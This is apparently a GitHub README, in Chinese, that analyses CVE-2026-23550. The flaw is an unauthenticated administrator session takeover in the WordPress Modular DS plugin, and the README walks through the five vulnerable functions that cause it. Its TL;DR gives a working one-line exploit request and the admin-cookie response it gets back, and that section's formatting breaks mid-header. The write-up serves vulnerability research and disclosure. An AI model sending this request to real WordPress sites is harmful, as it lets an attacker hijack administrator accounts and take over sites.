1beelze/CVE-2026-23550
GitHub: 1beelze/CVE-2026-23550
针对 WordPress Modular DS 插件 CVSS 10.0 未授权管理员接管漏洞(CVE-2026-23550)的完整根因分析、源码审计与教育性概念验证项目。
Stars: 0 | Forks: 0
```
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
```
# CVE-2026-23550
### Modular DS · 未经身份验证的管理员会话接管
[](https://nvd.nist.gov/vuln-metrics/cvss)
[](#)
[](#)
[](#)
[](#)
[](#)
**根因分析 · 源码走读 · 补丁对比 · 教育 PoC**
_作者:**Beelze** ( `zeroday 1diot9` )_
## 📌 TL;DR
```
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()
Gate opens on query params alone"] B --> C["② Router::findRoute()
URL implicitly resolved to /login route"] C --> D["③ bindOldRoutes() filter
Falls through on unknown type"] D --> E["④ ModularGuard::check()
Validates server OAuth, NOT request"] E --> F["⑤ AuthController::getLogin()
Falls back to first admin user"] F --> G["🔑 Set-Cookie: wordpress_logged_in_*
Attacker = Admin"] style A fill:#ff4444,stroke:#000,color:#fff style G fill:#00cc44,stroke:#000,color:#fff style B fill:#ff8888,stroke:#000 style C fill:#ffaa66,stroke:#000 style D fill:#ffcc44,stroke:#000 style E fill:#ff8888,stroke:#000 style F fill:#ff4444,stroke:#000,color:#fff ``` ### 📋 缺陷总结 | # | 层级 | 文件 | 根本问题 | |:-:|:---|:---|:---| | **①** | Bootstrap 验证关卡 | `HttpUtils.php:64` | 仅使用 `origin=mo` 进行查询检查,没有加密/nonce | | **②** | URL→路由匹配器 | `Router.php:20` | 隐式 URL 解析直接传递给过滤器 | | **③** | 路由覆盖过滤器 | `RouteServiceProvider.php:46` | 未知 `type` 直接穿透,保留原始路由 | | **④** | Auth guard | `ModularGuard.php:16` | 验证的是服务端的 OAuth 状态,而非请求身份 | | **⑤** | 登录控制器 | `AuthController.php:66` | 缺失输入时静默回退到 `getAdminUser()` | ## 🔬 源码走读
① Bootstrap 验证关卡 — HttpUtils::isDirectRequest()
**文件:** `vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64`
```
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ query-param only, no signature
}
return false;
}
```
**问题:** 这种“直接请求”模式——旨在识别来自 Modular SaaS 后端的合法调用——仅通过**明文查询参数**进行验证,没有 HMAC,没有 JWT,没有签名的 nonce,也没有 IP 白名单。任何攻击者都可以轻易切换这个开关。
② URL→路由隐式解析 — Router::findRoute()
**文件:** `vendor/ares/framework/src/Foundation/Routing/Router.php:20`
```
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL resolved to route BEFORE filter runs
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
```
**问题:** Laravel 的 `routes->match($request)` 在安全过滤器甚至还没开始运行**之前**,就将 `/api/modular-connector/login/xxx` 解析成了 `login` 路由(受 auth 保护)。过滤器接收该路由作为输入,这相当于把证明该路由非法的负担交给了过滤器,而不是明确地对它进行授权。
③ 过滤器穿透 — bindOldRoutes()
**文件:** `src/app/Providers/RouteServiceProvider.php:46`
```
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* rebind via signed OAuth call */ }
if ($type === 'oauth') { /* rebind to /oauth handler */ }
if ($type === 'lb') { /* rebind to /schedule/run */ }
return $route; // ⚠️ Unknown type → route from URL stays as-is
}
```
**问题:** 过滤器仅在 `type` 为三个已知值之一时才会覆盖路由。当 `type` 为任意值(如 `x`、`foo`、空值)时,它会直接穿透并原封不动地返回通过 URL 解析出的路由。那个由 URL 驱动的 `login` 路由——理论上受 auth 保护——继续进入 middleware 评估阶段。
④ 失效的 Guard — ModularGuard::check()
**文件:** `vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16`
```
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ checks SERVER state
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
```
**问题:** 自定义的 `modular` guard 对**传入请求的身份进行了零验证**。它只验证插件本身是否仍与 Modular SaaS 保持着有效的 OAuth 会话。由于几乎每个安装都连接到了后端(否则插件就毫无用处),该 guard 会对**任何到达它的请求**返回 `true`。
这是最致命的缺陷。即使缺陷 ①–③ 被修复,单凭这个失效的 guard 仍然会允许未授权访问 `auth` middleware 组中的每一个路由。
⑤ 管理员回退 — AuthController::getLogin()
**文件:** `src/app/Http/Controllers/AuthController.php:66`
```
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — binding never populated
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 first admin on the site
}
$cookies = ServerSetup::loginAs($user, true); // 💣 issue WP session cookie
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
```
**问题:** 只有在过滤器链中 `type === 'request'` 时,`SiteRequest` route-model binding 才会被填充。对于未知的 `type`,`$modularRequest` 作为一个空对象到达控制器。随后,控制器静默地**回退到第一个管理员用户**,并向他们发放 WordPress 登录 cookie。任何人都可以这样堂而皇之地走进来。
**Beelze** · `zeroday 1diot9`
_高级 CVE 研究员 · 漏洞分析师 · PoC 构建者_
## ⚖️ 免责声明
_为安全研究社区 🎯 制作。_
**如果这个仓库帮助你学到了东西,请点个 ⭐ Star。**
标签:Modbus, Web安全, 会话劫持, 文件完整性监控, 蓝队分析, 身份验证绕过